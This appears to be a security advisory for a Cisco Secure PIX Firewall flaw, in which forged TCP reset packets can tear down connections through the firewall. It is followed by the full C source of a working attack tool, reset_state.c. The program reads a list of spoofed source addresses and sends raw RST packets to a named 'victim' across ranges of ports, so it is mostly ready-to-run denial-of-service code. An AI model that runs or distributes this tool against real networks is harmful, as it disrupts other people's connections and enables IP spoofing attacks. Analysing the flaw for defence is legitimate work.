source: http://www.securityfocus.com/bid/1454/info

A connection through a Cisco Secure PIX Firewall can be reset by a third party if the source and destination IP addresses and ports of the connection can be determined or inferred. This can be accomplished by sending a forged TCP Reset (RST) packet to the firewall, containing the same source and destination addresses and ports (in the TCP packet header) as the connection to be disrupted. The attacker would have to possess detailed knowledge of the connection table in the firewall (which is used to track outgoing connections and disallow any connections from the external network that were not initiated by an internal machine) or be able to otherwise determine the required IP address and port information to exploit this.


/* reset_state.c (c) 2000 Citec Network Securities */
/* The code following below is copyright Citec Network Securities */
/* Code was developed for testing, and is written to compile under */
/* FreeBSD */

#define __BSD_SOURCE
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <unistd.h>
#include <time.h>
#include <netdb.h>

struct slist {
	struct in_addr  spoof;
	struct slist   *link;
};					/* Spoof list */

int
main(int argc, char *argv[])
{

	int i, int2;
	int             sock;		/* Socket stuff */
	int             on = 1;		/* Socket stuff */
	struct sockaddr_in sockstruct;	/* Socket stuff */
	struct ip      *iphead;		/* IP Header pointer */
	struct tcphdr  *tcphead;	/* TCP Header pointer */
	char            evilpacket[sizeof(struct ip) + sizeof(struct
tcphdr)];
					/* Our reset packet */
	int             seq, ack;	/* Sequence and Acknowledgement #'s
*/
	FILE           *spooffile;	/* Spoof file */
	char           *buffer;		/* Spoof file read buffer */
	struct slist   *scur, *sfirst;	/* Spoof linked list pointers */
	char src[20], dst[20];		/* Work around for inet_ntoa static
*/
					/* Pointers when using printf() */
	int sourcefrom, sourceto, destfrom, destto;	/* CMD Line ports */
	int target;			/* Target address from inet_addr()
*/


	if(argc < 6) {
		fprintf(stderr, "Usage: %s spoof_file target sps spe dps
dpe\n"
		"target = your victim\n"
		"sps = Source port start\n"
		"spe = Source port end\n"
		"dps = Destination port start\n"
		"dpe = Destination port end\n", argv[0]);
		exit(-1);
		}
	else {
		sourcefrom = atoi(argv[3]);
		sourceto = atoi(argv[4]);
		destfrom = atoi(argv[5]);
		destto = atoi(argv[6]);
		};
	
	if(sourcefrom > sourceto) {
		printf("Error, start source port must be less than end
source port\n");
		exit(-1);
		}
	else if(destfrom > destto) {
		printf("Error, start dest port must be less than end dest
port\n");
		exit(-1);
		};

	printf("Used spoof file %s\n"
	       "Destination: [%s] ports: [%d -> %d]\n"
	       "Target source ports: [%d -> %d]\n",
		argv[1], argv[2], destfrom, destto, sourcefrom, sourceto);

	sleep(1);

	bzero(evilpacket, sizeof(evilpacket));
					/* Clean our reset packet */

	sfirst = malloc(sizeof(struct slist));
	scur = sfirst;
	scur->link = NULL;		/* Setup our spoof linked list */

	if(!(buffer = malloc(25))) {
		perror("malloc");
		exit(-1);
		};			/* Allocate for read buffer */

	if ((spooffile = fopen((char *) argv[1], "r")) <= 0) {
		perror("fopen");
		exit(-1);		/* Open our spoof file */
	} else {
		while (fgets(buffer, 25, spooffile)) { 	/* Read till EOF */
			if (!(inet_aton(buffer, &(scur->spoof))))
				printf("Invalid address found in victim
file.. ignoring\n");
			else {
				scur->link = malloc(sizeof(struct slist));
				scur = scur->link;
				scur->link = NULL;	/* Cycle l.list */
				}
			};		/* End of while loop */
		};		/* End of if {} else {} */
	

	free(buffer);			/* Free up our read buffer */
	fclose(spooffile);		/* Close our spoof file */
	scur = sfirst;			/* Set spoof list current to first
*/

	if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
		perror("socket");
		exit(-1);
	}				/* Allocate our raw socket */

	if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (char *) &on,
sizeof(on)) < 0) {
		perror("setsockopt");
		exit(-1);
	}				/* Set socket options for raw iphead
*/

	sockstruct.sin_family = AF_INET;
	iphead = (struct ip *) evilpacket;
	tcphead = (struct tcphdr *) (evilpacket + sizeof(struct ip));
					/* Align ip and tcp headers */

	iphead->ip_hl = 5;		/* Ip header length is 5 */
	iphead->ip_v = 4;		/* ipv4 */
	iphead->ip_len = sizeof(struct ip) + sizeof(struct tcphdr);
					/* Length of our total packet */
	iphead->ip_id = htons(getpid());	/* Packet ID == PID # */
	iphead->ip_ttl = 255;			/* Time to live == 255 */
	iphead->ip_p = IPPROTO_TCP;		/* TCP Packet */
	iphead->ip_sum = 0;			/* No checksum */
	iphead->ip_tos = 0;			/* 0 Type of Service */
	iphead->ip_off = 0;			/* Offset is 0 */
	tcphead->th_win = htons(512);		/* TCP Window is 512 */
	tcphead->th_flags = TH_RST;		/* Reset packet */
	tcphead->th_off = 0x50;			/* TCP Offset 0x50 */

	iphead->ip_dst.s_addr = inet_addr(argv[2]);

	srand(getpid());			/* Seed for rand() */
	while (scur->link != NULL) {
		seq = rand() % time(NULL);	/* Randomize our #'s */
		ack = rand() % time(NULL);	/* Randomize ack #'s */
		sockstruct.sin_port = htons(rand() % time(NULL));
		iphead->ip_src = scur->spoof;	/* Set the spoofed address
*/
		sockstruct.sin_addr = scur->spoof;
		for(i = sourcefrom; i <= sourceto; i++) {
			for(int2 = destfrom; int2 <= destto; int2++) {
				usleep(2);	/* Sleep 5ms between packets
*/
				seq += (rand() %10)+250;
				ack += (rand() %10)+250;
				tcphead->th_seq = htonl(seq);
						/* Set sequence number */
				tcphead->th_ack = htonl(ack);
						/* Set ack number */
				tcphead->th_dport = htons(int2);
						/* Set destination port */
				tcphead->th_sport = htons(i);
						/* Set source port */
				snprintf(src, 20, "%s",
inet_ntoa(iphead->ip_src));
				snprintf(dst, 20, "%s",
inet_ntoa(iphead->ip_dst));
				/* Copy info to src and dst for printing */
				printf("TCP RESET: [%s:%d] -> [%s:%d]\n",
src, ntohs(tcphead->th_sport), dst, ntohs(tcphead->th_dport));
				sendto(sock, &evilpacket,
sizeof(evilpacket), 0x0,
			       		(struct sockaddr *) & sockstruct,
sizeof(sockstruct));
						/* Send our evil packet */
				};
			};
		scur = scur->link;		/* Cycle the spoof ips */
		}
		scur = sfirst;
	return (1);

};











